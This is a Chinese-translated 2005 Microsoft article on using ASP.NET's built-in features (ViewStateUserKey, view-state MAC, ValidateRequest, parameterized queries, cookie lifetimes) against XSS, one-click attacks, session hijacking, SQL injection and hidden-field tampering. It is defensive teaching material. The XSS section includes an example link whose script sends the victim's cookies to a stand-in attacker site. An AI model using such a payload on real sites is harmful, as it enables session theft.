利用 ASP.NET 内置功能来防范 Web 攻击

 

迪诺·埃斯波西托
Wintellect

2005 年 1 月

适用于
   Microsoft ASP.NET 1。X
   Microsoft ASP.NET 2.0

总结: Dino 总结了最常见的 Web 攻击类型,并介绍了 Web 开发人员如何使用 ASP.NET 的内置功能来提高安全性。 (13 个打印页)

目录

ASP.NET 开发人员应始终在威胁来自何处执行的操作
ViewStateUserKey
Cookie 和身份验证
会话劫持
EnableViewStateMac
ValidateRequest
数据库透视
隐藏字段
电子邮件和垃圾邮件
总结
相关资源

ASP.NET 开发人员应始终执行的操作

如果正在阅读本文,可能不需要了解 Web 应用程序中日益重要的安全性。 你可能正在寻找有关如何在 ASP.NET 应用程序中实现安全性的一些实用建议。 坏消息是,任何开发平台(包括 ASP.NET)都不能保证你一旦采用代码就能编写 100% 的安全代码——谁告诉了这一点,只是谎言。 就 ASP.NET 而言,好消息是,ASP.NET(尤其是版本 1.1 和即将推出的版本 2.0)集成了许多内置防御屏障,可供使用。

仅应用所有这些功能并不足以保护 Web 应用程序免受所有可能和可预见的攻击。 但是,结合其他防御技术和安全策略,内置的 ASP.NET 功能构成了一个强大的工具包,有助于确保应用程序在安全的环境中运行。

Web 安全性是各种因素的总和,也是策略的结果,该策略远远超出了单个应用程序的边界,涉及数据库管理、网络配置以及社交工程和网络钓鱼。

本文的目的是说明 ASP.NET 开发人员应始终执行哪些操作,以便将安全栏保持合理高。 这就是安全最重要的问题 ——保持警惕,永远不要感到完全安全,让坏人越来越难破解。

让我们看看 ASP.NET 提供哪些功能来简化作业。

威胁来自何处

在表 1 中,我总结了应用程序中最常见的 Web 攻击类型和缺陷,这些攻击会使它们成功。

攻击 由 实现。 . .
跨站点脚本 (XSS) 回显到页面的不受信任的用户输入
SQL 注入 连接用户输入以形成 SQL 命令
会话劫持 会话 ID 猜测和被盗的会话 ID Cookie
一键式 不知道通过脚本发送的 HTTP 帖子
隐藏字段篡改 未选中 (和受信任的) 填充敏感数据的隐藏字段

表 1. 常见 Web 攻击

列表中出现的关键事实是什么? 我想说,至少有以下三个:

  • 每当在浏览器的标记中插入任何类型的用户输入时,都可能会暴露自己遭受代码注入攻击, (SQL 注入和 XSS) 的任何变体。
  • 必须安全地完成数据库访问,即使用帐户有史以来尽可能少的权限集,并通过角色分隔单个用户的责任。
  • 绝不应通过网络发送敏感数据, (更别说作为明文) 发送,并且必须安全地存储在服务器上。

值得注意的是,上述三点涉及 Web 安全性的三个不同方面,二者的组合是构建防弹和防篡改应用程序的唯一合理方法。 Web 安全性的方面可以总结如下:

  • 编码做法:数据验证、类型和缓冲区长度检查、防篡改措施
  • 数据访问策略:使用角色确保尽可能弱的帐户、使用存储过程或至少参数化命令
  • 有效的存储和管理:不要将关键数据向下发送到客户端,使用哈希代码检测操作,对用户进行身份验证和保护标识,为密码应用严格的策略

如你所看到的,安全应用程序只能由开发人员、架构师和管理员的共同努力而产生。 不要认为你可以正确使用其他方式。

编写 ASP.NET 应用程序时,你不必靠自己来对抗黑客大军,只需用你的大脑、技能和手指来键入代码行。 ASP.NET 1.1 及更高版本有助于提供一些特定功能,这些功能可自动抵御上面列出的某些威胁。 让我们详细查看它们。

ViewStateUserKey

ViewStateUserKey 在 ASP.NET 1.1 中引入,是 Page 类上的一个字符串属性,很少有开发人员承认熟悉该属性。 为什么? 让我们阅读文档对此的看法。

在与当前页关联的视图状态变量中向单个用户分配标识符

尽管风格复杂,但句子相当清晰:但你能诚实地说,它解释了财产的预期用途吗? 若要了解 ViewStateUserKey 的角色,需要进一步阅读,直到到达 “备注 ”部分。

属性通过提供额外的输入来创建防止视图状态被篡改的哈希值,从而帮助你防止一键式攻击。 换句话说, ViewStateUserKey 使黑客更难使用客户端视图状态的内容来准备针对网站的恶意帖子。 可以为 属性分配任何非空字符串,最好是会话 ID 或用户的 ID。 为了更好地了解此属性的重要性,让我们简要回顾 一下一键 式攻击的基础知识。

一键式攻击包括将恶意 HTTP 表单发布到已知的易受攻击的网站。 它被称为“一键式”,因为它通常从不知情的受害者单击通过电子邮件收到或导航拥挤的论坛时找到的诱人链接开始。 通过跟踪链接,用户无意中触发远程进程,最终将恶意 <表单> 提交到站点。 老实说: 你能说你从来没有关注过这样的链接 , 单击此处赢得 1,000,000 美元 只是为了看看会发生什么? 显然,你没有什么坏事发生。 假设这是正确的;你能否对 Web 社区的其他所有内容都这样说? 谁知道呢。

若要成功,一键式攻击需要特定的背景条件:

  • 攻击者必须非常了解易受攻击的站点。 发生这种情况可能是因为攻击者“勤奋”地研究了文件,或者因为他/她是一个愤怒的内部 (,例如,一个被解雇和不诚实的员工) 。 因此,攻击可能是毁灭性的。
  • 如果持久性 Cookie) 实现单一登录,并且攻击者应已收到有效的身份验证 Cookie,则站点必须使用 cookie, (更好。
  • 站点的某些用户涉及敏感事务。
  • 攻击者必须有权访问目标页面。

如前所述,攻击包括将恶意 HTTP 表单提交到需要表单的页面。 合理地,此页面将使用已发布的数据来执行一些敏感操作。 攻击者合理地知道每个字段的确切使用方式,并可以想出一些欺骗性值来达到其目标。 它通常是一种有针对性的攻击,而且由于它建立的三角交易,也很难跟踪 —黑客诱使受害者单击黑客网站上的链接,这反过来又会将坏代码发布到第三个站点。 (见图 1.)

ms972969.securitybarriers01 (en-us,MSDN.10) .gif

图 1. 一键式攻击

为什么是一个毫无戒心的受害者? 因为,以这种方式服务器日志显示发起错误请求的 IP 地址是受害者的 IP 地址! 如前所述,这种攻击不像“经典”XSS 那样常见 (,而且很容易安排) :然而,其性质使其具有潜在的毁灭性。 有什么方法? 让我们回顾一下 ASP.NET 上下文中攻击的机制。

除非操作在 Page_Load 事件中编码,否则 ASP.NET 页无法在回发事件之外执行敏感代码。 要发生回发事件,视图状态字段是必需的。 请记住,ASP.NET 检查请求的回发状态,并根据是否存在_VIEWSTATE输入字段相应地设置 IsPostBack 。 因此,想要向 ASP.NET 页发送虚假请求的用户都必须提供有效的视图状态字段。

若要使一键式攻击生效,黑客必须有权访问页面。 发生这种情况时,远见的黑客在本地保存了页面。 因此,他/她现在可以访问_VIEWSTATE字段,并使用该字段创建具有旧视图状态和其他字段中恶意值的请求。 问题是,这能行吗?

为什么看不到? 如果攻击者可以提供有效的身份验证 Cookie,则黑客会进入并定期处理请求。 当 EnableViewStataMac 关闭) 或仅检查视图状态内容以防止篡改时,不会在服务器上 (检查视图状态内容。 默认情况下,视图状态中没有任何内容将内容与特定用户联系起来。 攻击者可以轻松地重复使用获取的视图状态,即以合法方式访问页面,以代表其他用户生成虚假请求。 这就是 ViewStateUserKey 适合的地方。

如果正确选择, 属性会将用户特定的信息添加到视图状态。 处理请求时,ASP.NET 从视图状态中提取密钥,并将其与正在运行的页面的 ViewStateUserKey 进行比较。 如果两者匹配,则请求被视为合法;否则会引发异常。 属性的有效值是什么?

ViewStateUserKey 设置为常量字符串(所有用户相同)就像将其留空一样。 必须将其设置为因每个用户而异的内容- 用户 ID,或者更好的是会话 ID。 出于技术和社会方面的多种原因,根据会话 ID 设置此属性要好得多,因为会话 ID 不可预测、会超时,并且根据不同的用户而异。

需要在所有页面中添加以下代码:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

若要避免一遍又一遍地编写此代码,可以在 Page 派生类的 OnInit 虚拟方法中将其 Bolt。 (请注意,必须在 Page.Init event. ) 中设置此属性

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

总的来说,使用基页类始终是一件好事,正如我在更 丰富的基岩上构建 ASP.NET 页面一文中所述。 可以在 aspnetpro.com 上找到一篇优秀的文章,详细了解一键式攻击者的策略。

Cookie 和身份验证

Cookie 之所以存在,是因为它们可以帮助开发人员实现结果。 Cookie 作为浏览器和服务器之间的一种持久链接运行。 尤其是对于使用单一登录的应用程序,被盗的 Cookie 正是使攻击成为可能。 一键式攻击当然就是这种情况。

若要使用 Cookie,无需以编程方式显式创建和读取它们。 如果使用会话状态并实现表单身份验证,则隐式使用 Cookie。 当然,ASP.NET 支持无 Cookie 会话状态,ASP.NET 2.0 还引入了无 Cookie 表单身份验证。 因此,理论上可以使用这些功能,而无需使用 Cookie。 我不是说你不必, 但这只是治疗比疾病更糟糕的情况之一。 事实上,无 Cookie 会话在 URL 中嵌入会话 ID,使其对每个人都可见。

与使用 Cookie 相关的潜在问题是什么? cookie 可以被盗 (即复制到黑客的计算机) 和中毒 (,即充满恶意数据) 。 这些操作通常是传入攻击的前奏。 如果被盗,身份验证 Cookie 会“授权”外部用户 (连接到应用程序,并代表你使用受保护的页面) ,使黑客能够愉快地绕过授权,并自行执行受害者允许执行的任何角色和安全设置。 因此,身份验证 Cookie 的生存期通常相对较短,即 30 分钟。 (请注意,即使浏览器的会话需要更长的时间才能完成,Cookie 也会过期。) 如果被盗,黑客有 30 分钟的窗口来尝试攻击。

可以放大此窗口,使用户不必过于频繁地登录;请注意,这样做是你自己的危险。 在任何情况下,都避免使用 ASP.NET 永久性 Cookie。 这将使饼干的生存期几乎常年,长达50年! 以下代码片段演示如何在闲暇时间修改 Cookie 的过期时间。

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

你可能希望在自己的登录表单中使用此代码来微调身份验证 Cookie 的生存期。

会话劫持

Cookie 还用于检索特定用户的会话状态。 会话的 ID 存储在一个 Cookie 中,该 Cookie 随请求来回传输,并存储在浏览器的计算机上。 同样,如果被盗,会话 Cookie 可用于让黑客进入系统并访问其他人的会话状态。 不用说,只要指定的会话处于活动状态(通常不超过 20 分钟),就可能会发生这种情况。 通过欺骗会话状态进行的攻击称为 会话劫持。 有关会话劫持的更多详细信息,请阅读 Web 上的盗窃:防止会话劫持

这种攻击有多危险? 很难说。 这取决于网站的功能,更重要的是,其页面的设计方式。 例如,假设你已经能够获取其他人的会话 Cookie,并将其附加到网站上的页面的请求。 加载页面并处理其普通用户界面。 页面中没有可以注入的代码,页面中没有任何可以更改的代码,只不过页面现在使用其他用户的会话状态。 这本身并不坏,但只要会话中的信息是敏感且关键的,就可能导致黑客直接成功利用。 看,黑客无法窥探会话存储的内容,但其中存储的内容被使用,就像黑客合法地进入它一样。 例如,假设有一个电子商务应用程序,用户在浏览网站时将商品添加到购物车。

  • 方案 #1。 购物车的内容以会话状态存储。 但是,检查出时,会要求用户通过安全 SSL 连接确认并输入付款详细信息。 在这种情况下,插入其他用户的会话状态仅允许黑客了解有关受害者购物偏好的一些详细信息。 在这种情况下,劫持不会真正造成任何损害。 只有机密性存在风险。
  • 方案 #2。 应用程序处理每个已注册用户的配置文件,并将配置文件存储在会话状态中。 ࢀ,配置文件可能 (,) 包括信用卡信息。 为什么要将用户配置文件详细信息存储在会话中? 也许该应用程序的目标之一是最终避免用户一遍又一遍地键入其信用卡和银行信息。 因此,在签出时,应用程序会将用户导航到包含预填充字段的页面。 其中一个字段是从会话状态获取的信用卡数字。 你现在能猜到故事的结尾吗?

应用程序页面的设计是防止会话劫持攻击的关键。 不过,两个点仍然悬而未决。 第一个是,你可以做些什么来防止 Cookie 被盗? 第二个是,ASP.NET 可以做些什么来检测和阻止劫持?

ASP.NET 会话 Cookie 非常简单,只能包含唯一的会话 ID 字符串。 ASP.NET 运行时从 Cookie 中提取会话 ID,并对照活动会话对其进行检查。 如果 ID 有效,ASP.NET 连接到相应的会话并继续。 此行为极大地简化了窃取或可以猜测有效会话 ID 的黑客的生活。

XSS 和中间人攻击以及对客户端电脑的暴力访问都是获取有效 Cookie 的方法。 为了防止盗窃,应实施安全最佳做法,以防止 XSS 及其所有变体成功。

相反,若要防止会话 ID 猜测,应避免高估技能。 猜测会话 ID 意味着你知道一种预测有效会话 ID 字符串的方法。 鉴于 ASP.NET (15 个映射到启用 URL 的字符) 的随机数使用的算法,偶然猜测有效 ID 的机会接近零。 我没有理由考虑将默认会话 ID 生成器替换为你自己的会话 ID 生成器。 在许多情况下,你只会让攻击者的生活更轻松。

会话劫持更糟糕的是,一旦 Cookie 被盗或被猜测,ASP.NET 无法检测 Cookie 的欺诈性使用。 同样,原因是 ASP.NET 限制于检查 ID 的有效性,并询问 Cookie 的来源位置。

我的温特尔特朋友杰夫·普罗塞斯为 MSDN 杂志写了一篇关于会话劫持的优秀文章。 他的结论几乎没有提供任何安慰——几乎不可能针对依赖于被盗会话 ID Cookie 的攻击建立万无一失的防御——但他开发的代码提供了一个智能提示,可以提高安全标准。 Jeff 创建了一个 HTTP 模块,用于监视会话 ID Cookie 的传入请求和传出响应。 该模块将哈希代码追加到传出会话 ID,使攻击者更难重用该 Cookie。 可 在此处阅读详细信息。

EnableViewStateMac

视图状态用于在同一页的两个连续请求中保留控件的状态。 默认情况下,视图状态是 Base64 编码的,并使用哈希值进行签名以防止篡改。 除非更改默认页面设置,否则视图状态不会受到篡改的风险。 如果攻击者修改视图状态,或者即使他/她使用正确的算法重新生成视图状态,ASP.NET 捕获尝试并引发异常。 被篡改的视图状态不一定有害(不过,它会修改服务器控件的状态),但可能会成为严重感染的工具。 因此, 请务必不要 删除计算机身份验证代码 (MAC) 默认进行的交叉检查。 请参阅图 2。

ms972969.securitybarriers02 (en-us,MSDN.10) .gif

图 2. 启用 EnableViewStateMac 时视图状态本质上是防篡改的

(默认) 启用 MAC 检查时,序列化视图状态将追加一个哈希值,该值由某些服务器端值和视图状态用户键(如果有)生成。 当视图状态回发时,将使用新的服务器端值再次计算哈希值,并将其与存储的值进行比较。 如果两者匹配,则允许请求;否则,将引发异常。 即使假设黑客具有破解和重新生成视图状态的技能,他/她也需要知道服务器存储的值才能得出有效的哈希。 具体而言,黑客需要知道machine.config的 <machineKey 条目中引用的计算机密钥>。

默认情况下, <machineKey> 条目是自动生成的,以物理方式存储在 Windows 本地安全机构 (LSA) 中。 只有在 Web 场(视图状态的计算机密钥在所有计算机上都必须相同)的情况下,才应在machine.config文件中将其指定为明文。

视图状态 MAC 检查通过名为 EnableViewStateMac的 @Page 指令属性进行控制。 如前所述,默认设置为 true。 永远不要禁用它;这将使视图状态篡改一键式攻击成为可能,并且很有可能成功。

ValidateRequest

跨站点脚本 (XSS) 是许多经验丰富的 Web 开发人员的老相识 ,自 1999 年左右以来就已存在。 简单地说,XSS 利用代码中的漏洞,将黑客的可执行代码引入其他用户的浏览器会话。 执行后,注入的代码可以执行各种操作-抓取 Cookie 并将副本上传到黑客的受控网站,监视用户的 Web 会话和转发数据,修改提供错误信息被黑客页面的行为和外观,甚至使自身持久化,以便下次用户返回页面时, 欺诈代码再次运行。 在 TechNet 文章 跨站点脚本概述中详细了解 XSS 攻击的基础知识。

代码中的哪些漏洞使 XSS 攻击成为可能?

XSS 利用动态生成 HTML 页面且不验证回显到页面的输入的 Web 应用程序。 此处的输入表示查询字符串、Cookie 和表单字段的内容。 如果此内容在没有适当的健全性检查的情况下联机,则存在黑客操纵它以在客户端浏览器中执行恶意脚本的风险。 (毕竟,上述一键式攻击是 XSS.) 典型的 XSS 攻击要求不知情的用户遵循嵌入转义脚本代码的引诱链接。 欺诈性代码会发送到可信任地输出该代码的易受攻击的页面。 下面是可能发生的情况的示例:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

用户单击一个明显安全的链接,最终会向易受攻击的页面传递一段脚本代码,该代码首先获取用户计算机上的所有 Cookie,然后将其发送到黑客网站上的页面。

请务必注意,XSS 不是特定于供应商的问题,不一定利用 Internet Explorer 中的漏洞。 它会影响目前市场上的每个 Web 服务器和浏览器。 更重要的是,请注意,没有一个修补程序可以修复它。 你肯定可以保护页面免受 XSS 的防护,你可以通过应用特定措施和健全的编码做法来执行此操作。 此外,请注意,攻击者不需要用户单击链接即可启动攻击。

若要防御 XSS,必须主要确定哪个输入有效,并拒绝其余所有输入。 有关挫败 XSS 攻击的详细清单,请参阅该书是 Microsoft 的必读内容- Michael Howard 和 David LeBlanc 撰写安全代码 。 特别是,我建议你仔细阅读第13章。

阻止阴险的 XSS 攻击的主要方法是向输入添加一个完成良好且可靠的验证层-任何类型的输入数据。 例如 ,在某些情况下, 即使是无害的颜色(RGB 三元颜色)也会将不受控制的脚本直接带到页面。

在 ASP.NET 1.1 中,当打开时,@Page 指令上的 ValidateRequest 属性检查用户是否未在查询字符串、Cookie 或表单字段中发送潜在危险的 HTML 标记。 如果检测到该异常,则会引发异常并中止请求。 默认情况下, 属性处于打开状态;无需执行任何操作即可受到保护。 如果要允许 HTML 标记传递,则必须主动禁用它。

<%@ Page ValidateRequest="false" %>

ValidateRequest不是 银弹,无法替换有效的验证层。 阅读 此处 ,以获取有关该功能在幕后如何真正工作的大量有价值的信息。 它基本上应用正则表达式来捕获一些可能有害的序列。

注意ValidateRequest 功能最初存在缺陷;需要应用修补程序才能使其按预期工作。 这是经常被忽视的有价值的信息。 奇怪的是,我自己发现我的一台机器仍然受到这个缺陷的影响。 试一试吧!

没有理由不启用 ValidateRequest 。 你可以禁用它,但必须有一个很好的理由;其中之一可能是用户要求能够将一些 HTML 发布到网站以获得更好的格式设置选项。 在这种情况下,应限制允许的 HTML 标记数 (<pre>b>、<<i><p><br><hr>) ,并编写一个正则表达式,确保不允许或接受任何其他标记。

下面是一些有助于保护 ASP.NET 应用程序免受 XSS 的更多提示:

  • 使用 HttpUtility.HtmlEncode 将危险符号转换为其 HTML 表示形式。
  • 使用双引号而不是单引号,因为 HTML 编码仅转义双引号。
  • 强制代码页限制可以使用的字符数。

总之,请使用 ValidateRequest 属性,但不要完全信任,不要太懒。 花一些时间了解安全威胁(如 XSS)的根源,并计划以一个关键点为中心的防御策略- 将所有用户输入视为邪恶。

数据库透视

SQL 注入是另一种已知的攻击类型,它利用使用未筛选的用户输入来形成数据库命令的应用程序。 如果应用程序顺利地使用用户在表单字段中键入的内容来创建 SQL 命令字符串,则会面临恶意用户可能仅访问页面并输入欺诈性参数以修改查询性质的风险。 可 在此处了解有关 SQL 注入的详细信息。

可通过多种方式阻止 SQL 注入攻击。 下面是最常见的技术。

  • 确保任何用户输入的类型正确,并遵循预期的模式 (邮政编码、SSN、电子邮件地址) 。 如果希望文本框中有数字,如果用户输入无法转换为数字的内容,请阻止请求。
  • 使用参数化查询或更好的存储过程。
  • 使用SQL Server权限来限制每个用户可以对数据库执行的操作。 例如,你可能想要禁用xp_cmdshell或将其限制为管理员。

如果使用存储过程,则可以显著减少攻击面。 事实上,使用存储过程时,无需动态编写 SQL 字符串。 此外,任何参数在 SQL Server中针对指定的类型进行验证。 虽然仅此一项并不是 100% 安全的技术,但结合验证,它将使你更安全。

更重要的是,确保只有授权用户才能执行潜在的破坏性操作,例如删除表。 这需要仔细设计应用程序的中间层。 一个很好的技术,而不仅仅是因为安全性,是专注于角色。 按角色对用户进行分组,并为具有最少权限集的每个角色定义一个帐户。

几周前,Wintellect 网站通过一种复杂的 SQL 注入形式受到攻击。 黑客试图创建并启动 FTP 脚本,以下载 (恶意) 可执行文件。 这次袭击失败了我们的好运。 还是使用非常强大的输入验证、使用存储过程和使用阻止攻击工作的SQL Server权限?

总之,请遵循以下准则,以避免不必要的 SQL 代码注入:

  • 以最低特权运行,并且从不以“sa”的形式执行代码。
  • 限制对内置存储过程的访问。
  • 优先使用 SQL 参数化查询。
  • 不要通过字符串串联生成语句,也不回显数据库错误。

隐藏字段

在经典 ASP 中,隐藏字段是在请求之间保留数据的唯一方法。 需要在下一个请求中检索的任何数据将打包到隐藏 <的输入> 字段中,并进行舍入。 如果在客户端上有人修改存储在 字段中的值,该怎么办? 只要文本清晰,服务器端环境就没有办法弄清楚。 页面和单个控件的 ASP.NET ViewState 属性有两个用途。 一方面, ViewState 是跨请求保留状态的方法;另一方面, ViewState 允许将自定义值存储在受保护的防篡改隐藏字段中。

如图 2 所示,视图状态追加了一个哈希值,该值在每次请求中检查以检测篡改。 除了少数情况外,没有理由在 ASP.NET 中使用隐藏字段。 视图状态以更安全的方式执行相同的工作。 前面说,将敏感值,如价格或信用卡细节存储在一个明确的隐藏领域就像为黑客敞开大门,观点状态甚至会使这种不良做法比以前不那么危险,因为它的数据保护机制。 但是,请记住,视图状态可防止篡改,但不能保证保密性,除非加密它,因此存储在视图状态中的信用卡详细信息仍然面临风险。

何时可以在 ASP.NET 中使用隐藏字段? 生成需要将数据发送回服务器的自定义控件时。 例如,假设创建一个支持列重新排序的新 DataGrid 控件。 需要在回发时将新订单传递回服务器。 如果不是存储在隐藏字段中,还可以将此信息存储在何处?

如果隐藏字段是读/写字段(即客户端应写入该字段),则你无法执行很多操作,这是防黑客的。 你可以尝试对文本进行哈希处理或加密,但这不会给你任何合理的确定性,即不会被黑客攻击。 这里最好的防御是使隐藏字段包含惰性和无害的信息。

因此,值得注意的是,ASP.NET 公开了一个鲜为人知的类,该类可用于对任何序列化对象进行编码和哈希处理。 类是 LosFormatter ,是 ViewState 实现用于创建已舍入到客户端的编码文本的相同类。

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

前面的代码片段演示如何使用 LosFormatter 创建视图状态类似的内容,经过编码和哈希处理。

电子邮件和垃圾邮件

为了结束本文,让我指出,至少有两种最常见的攻击(经典 XSS 和一键式攻击)通常是通过诱使毫无戒心的受害者单击诱人的和欺骗性链接来执行的。 很多时候,我们直接在收件箱中找到此类链接,尽管有反垃圾邮件筛选器。 可以花费几美元购买大量电子邮件地址。 用于生成此类列表的main技术之一是扫描网站上的公共页面,查找并抓取任何看起来像电子邮件地址的内容。

如果页面显示电子邮件地址,则 Web 机器人迟早会捕获它的可能性很好。 真的吗? 嗯,这在很大程度上取决于电子邮件地址的显示方式。 如果对其进行硬编码,则会丢失。 如果你采用其他表示形式,如 dino-at-microsoft-dot-com,则不清楚你是否真的愚弄 Web 机器人;当然,你会激怒任何阅读你的页面的人谁想要建立合法联系人。

总的来说,你应该想出一种方法来动态生成电子邮件地址作为 mailto 链接。 这正是 Marco Bellinaso 编写的免费组件所执行的操作。 可以从 DotNet2TheMax 网站获取完整的源代码。

总结

有人怀疑 Web 可能是所有运行时环境中最敌对的吗? 它来自这样一个事实,即每个人都可以访问网站,并尝试传递好数据和坏数据。 但是,创建不接受用户输入的 Web 应用程序是否真的有意义?

因此,让我们面对现实:无论防火墙有多强,应用可用修补程序的频率如何,如果运行的是本质上易受攻击的 Web 应用程序,攻击者迟早会通过main入口(即端口 80)直接进入系统的核心。

ASP.NET 应用程序既不比其他 Web 应用程序更易受攻击,也不更安全。 安全性和漏洞都源于编码实践、现场经验和团队合作。 如果网络不是,则任何应用程序都是安全的;同样,无论网络有多安全且管理得当,如果应用程序损坏,攻击者始终会找到自己的方法。

ASP.NET 的美妙在于,它提供了一些不错的工具,只需单击几下鼠标,就能将安全栏提升到可传递的水平。 不过,这 还不够 。 不要仅依赖 ASP.NET 内置解决方案,但也不能忽略它们。 并尽可能多地了解最常见的攻击。

本文提供了内置功能的批注列表,以及有关攻击和防御的一些背景信息。 检测正在进行的攻击的技术是另一种情况,可能需要另一篇文章。

编写安全代码 由 Michael Howard 和 David LeBlanc

TechNet 杂志,网上盗窃:防止会话劫持

 

关于作者

迪诺·埃斯波西托是 一名驻意大利的 Wintellect 讲师和顾问。 Microsoft ASP.NET 编程的作者和最近介绍 Microsoft ASP.NET 2.0 (来自 Microsoft Press) ,他把大部分时间都花在 ASP.NET 和 ADO.NET 和会议上演讲。 图尔迪诺的博客在 https://weblogs.asp.net/despos

© Microsoft Corporation. 保留所有权利。